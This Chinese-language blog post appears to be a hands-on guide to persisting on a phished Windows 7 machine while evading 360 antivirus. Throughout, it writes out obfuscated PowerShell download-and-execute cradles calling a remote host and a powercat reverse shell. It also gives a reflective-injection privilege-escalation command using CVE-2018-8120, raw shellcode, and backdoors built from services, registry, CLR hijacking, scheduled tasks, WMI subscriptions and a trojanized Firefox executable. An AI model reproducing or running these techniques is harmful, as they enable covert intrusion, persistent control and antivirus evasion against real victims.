1、前言
前不久进行了一次钓鱼,对方电脑是win7系统,加上有杀软,最后因为电脑关机,失去了权限。整理下从木马上线到快速建立后门的方法。
2、本地实验环境
基于之前失败的经历,搭建本地实验环境。
操作系统: win7 x64
安装防护: 360安全卫士+360杀毒
权限:普通用户权限
补丁数量:3个
3、木马免杀
首先需要一个可以过360卫士+杀毒的免杀木马,需要平时对免杀有一定积累,能过360全家桶的方法有很多,使用之前介绍过的powershell拆分免杀。(免杀失效的话需要进行进一步混淆)
powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://x.x.x.x/a'')'; $Text=$c2+$c3; IEX(-join $Text)
使用c语言的system函数去执行powershell。
#include<stdio.h>
#include<stdlib.h>
int main(){
system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://x.x.x.x/a'')'; $Text=$c2+$c3; IEX(-join $Text)");
return 0;
}
编译为exe文件,达到免杀的目的。
4、权限提升
使用的是cs生成的木马,权限为普通用户权限。
修改注册表,注册系统服务等等操作,都需要要管理员权限,需要进行提权。
靶机操作系统为win7,几乎没打任何安全补丁,打算使用windows内核漏洞进行提权。
尝试使用cs自带的提权,因为360全家桶的原因失败。
准备使用powershell进行免杀提权。
显示powershell.exe拒绝访问。
发现powershell.exe被加入黑名单阻止运行了。
遇到这种情况,可以自己上传相同版本的powershell.exe到可写目录下。
C:\Windows\Temp
上传到windows的临时文件夹。
成功绕过360限制调用powershell。
使用powershell免杀提权,360只会检测poweshell的前半部分,把恶意powershll代码放在合法代码后面绕过检测,Invoke-ReflectivePEInjection.ps1可以远程加载exe,-ExeArgs执行cs反弹木马。
C:\Windows\Temp\powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://x.x.x.x/ps/cve-2018-8120.exe -ExeArgs '"C:\Windows\Temp\123.exe"' -ForceASLR"
成功获取到system权限会话。
5、建立持久性后门
成功获得system权限,开始尝试建立持久性后门。
cs自带了Desktop功能,可以实时查看当前用户的桌面,还可以进行远程操控,如何杀软不拦截的话,可以手动退出杀软,电脑一直有人使用的话,这种方法就不适用了~
5.1、建立系统服务
获得了管理员的权限可以选择建立系统服务来进行持久控制,会被杀软拦截。
1、使用sc命令建立系统服务,可以选择执行上传的木马,或者powershell远程执行。
sc create "nuoyan" binpath= "c:\accc.exe"
sc create "主动防御" binpath= "cmd /c start powershell.exe IEX (new-object net.webclient).downloadstring('http://x.x.x.x/a')"
设置为自动运行
sc config "服务名" start= auto
删除服务。
sc delete "服务名"
2、使用powershell建立系统服务,Name指定服务名,BinaryPathName指定文件路径。
powershell.exe new-service –Name nuoyani –BinaryPathName "C:\WINDOWS\Temp\360.exe" –StartupType Automatic
$c2='new-';$c3='service –Name nuoyani –DisplayName OrderServ –BinaryPathName "C:\accc.exe" –StartupType Automatic'; $Text=$c2+$c3;IEX(-join $Text)
多次尝试绕过杀软添加服务失败,360会先检测new-service关键字拦截powershell,使用拆分法绕过,360又对注册表行为进行了检测,无法绕过。
5.2、注册表运行键
5.2.1、userinit注册表后门
在用户进行登陆时,可以更改它的值来添加与删除程序。从而达到增加隐蔽后门的目的。
使用powershell命令对键值进行修改。
powershell.exe Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"
使用cs实际执行时发现几个坑点:
1、直接执行powershell命提示找不到实际参数。
解决方法:把powershell命令保存到ps1文件中,使用命令后直接执行ps1文件。
2、cs执行失败(原因未知)
首先需要修改本机powershell的执行策略为可执行,使用Set-ExecutionPolicy 设置执行的策略为RemoteSigned (本地脚本无限制)
当使用cs执行ps1文件,注册表键值未发生改变。经过多次尝试都没能执行成功。
本地执行ps1文件,可以正常执行成功。
尝试反弹shell到vps上,可以成功运行ps1脚本。
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://x.x.x.x/ps/powercat.ps1');powercat -c x.x.x.x -p xx -e cmd
开启360进行测试,无法绕过360增加userinit注册表后门。
5.2.2 CLR后门
全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。可以在没有管理员权限情况下,够劫持所有.Net程序,系统默认调用.net程序,导致后门自动触发。
1、首先准备dll后门文件,区分32和64位。
可以使用cs自带的dll后门文件,但是不免杀,可以根据自己的需求自己写dll。
2、修改当前用户的环境变量。
可以使用wmi进行修改
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}"
或者使用powershell修改
New-ItemProperty "HKCU:\Environment\" COR_ENABLE_PROFILING -value "1" -propertyType string | Out-Null
New-ItemProperty "HKCU:\Environment\" COR_PROFILER -value "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" -propertyType string | Out-Null
3、执行reg add修改注册表键值。
32位系统
REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\tide\tide32.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
dll分为32和64,
64位系统需要同时修改32和64的注册表键值。
REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\tide\tide64.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
REG ADD "HKCU\Software\Classes\WoW6432Node\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\tide\tidd32.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
4、设置成功,cs中执行powershell.exe ,成功接收到会话,调用其它.net程序时都可以接收到会话。
无法绕过360。
使用WMI修改环境变量会被拦截;dll文件不免杀会被拦截;修改注册表行为会被拦截。
还有持久性后门都是对注册表进行操作,都无法绕过杀软。
5.3、计划任务
管理员权限下,使用schtasks.exe创建一个计划任务,/TN为任务名,/TR为木马路径,设置当任何用户登录时触发计划任务,执行木马。
上传免杀的exe木马,执行命令。
schtasks.exe /Create /TN 主动防御 /TR c:\windows\temp\tide_ms.exe /SC ONLOGON /F /RL HIGHEST
360能够拦截相关行为。
5.4、dll后门
将恶意dll注入到正常程序的导入表中,每当运行程序都会加载恶意dll,从而达到持久控制的目的。
团队逆向大佬雨夜RainyNight已经发表过相关的技术文章。
直接使用自动化dll注入工具,输入shellcode自动生成dll文件。
使用cs自动生成的shellcode,可以提取免杀exe的shellcode。
生成dll文件。
把生成的dll文件和conf.inf放入到KK.exe的同级目录下。
选择生成的dll和kk.exe
运行kk.exe ,cs成功上线。
重启电脑后,启动kk.exe可以上线。
实际情况可能无法登录对方的远程桌面,且使用的dll注入工具会报毒。
可以查看对方安装的软件,下载相同版本,在本地进行进行dll注入,然后把生成的exe文件,dll文件,conf.inf文件一起上传到目标机器的指定目录下,替换原有exe文件。
当目标机器执行被替换后的exe时,恶意dll被执行,达到持久性控制的目的。
360可以查杀到dll(iat).exe工具生成dll的特征值,使用弹计算器的shellcode仍然会被查杀。
\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00
自动化工具无法绕过杀软,可以根据这个思路,手动修改程序的iat导入表,从而达到免杀持久控制的目的。https://www.freebuf.com/articles/system/228233.html
工具下载网盘:链接:https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ
提取码:c29j
5.5、WMI后门
wmi触发器
wmi事件的基础:
1、事件筛选器
事件筛选器描述事件并且执行WQL事件查询。
2、事件消费者
事件消费者是什么呢?事件消费是一个派生自 __EventConsumer 系统类的类,它表示了在事件触发时的动作。我们常用的消费类有下面两个:
ActiveScriptEventConsumer - 执行嵌入的 VBScript 或 JScript 脚本 payload
CommandLineEventConsumer - 执行一个命令行程序
3、消费者绑定筛选器
消费者绑定筛选器就是将筛选器绑定到消费者的注册机制。
实例代码
事件筛选器在系统启动后的 200 和 320 秒之间被当作一个触发器,且60秒触发一次,在事件被触发时事件消费者会使用CommandLineEventConsumer执行已指定好的tide.exe。
$fname = "cccc"
$cname = "cccc"
$CommandLineTemplate = "C:\Windows\temp\tide.exe"
$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{Name=$fname;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$query}
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$cname;CommandLineTemplate=$CommandLineTemplate }
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer} | out-null
当计算机重启后一段事件cs成功接收到2个会话信息。
可以根据实际需要选择合适的事件筛选器。
系统每过60秒触发一次事件消费者。
SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
当运行计算器后触发,且每5秒触发一次事件消费者。
SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='calc.exe'
使用Autoruns查看和删除WMI数据库的内容。
360可以拦截到WMI相关行为。
6、 伪装常用应用程序
替换目标常用快捷方式指向的exe文件。
查看桌面快捷方式火狐的目标位置,修改firefox.exe为firefox1.exe
编写代码成exe,分别运行火狐浏览器firefox1.exe,和木马文件tide.exe。
也可以执行其它系统命令,如powershell,有杀软的情况下需要对文件和powershell进行免杀处理。
#include<stdio.h>
#include<stdlib.h>
int main(){
system("\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox1.exe\"");
system("C:\\Windows\\Temp\\tide.exe");
return 0;
}
使用Restorator修改exe文件图标。
当用户点击桌面的快捷方式时,执行替换后的可执行文件,同时执行原文件和木马程序。
7、总结
本次只写出了一部分建立持久性后门的方法,还有许多方法没有进行演示,大部门方法都是对注册表进行更改,无法绕过杀软。
参考文章
http://xnianq.cn/2018/07/23/windows%E5%90%8E%E9%97%A8%E7%A7%8D%E6%A4%8D%E6%96%B9%E5%BC%8F%E6%94%B6%E9%9B%86/
https://www.freebuf.com/sectool/157952.html
https://www.cnblogs.com/-qing-/p/10964486.html
https://yq.aliyun.com/articles/215002
https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-bypass-UAC/
https://www.freebuf.com/column/165235.html
https://www.bookstack.cn/read/Powershell-Attack-Guide/ch7.md
https://3gstudent.github.io/
https://www.freebuf.com/articles/system/228233.html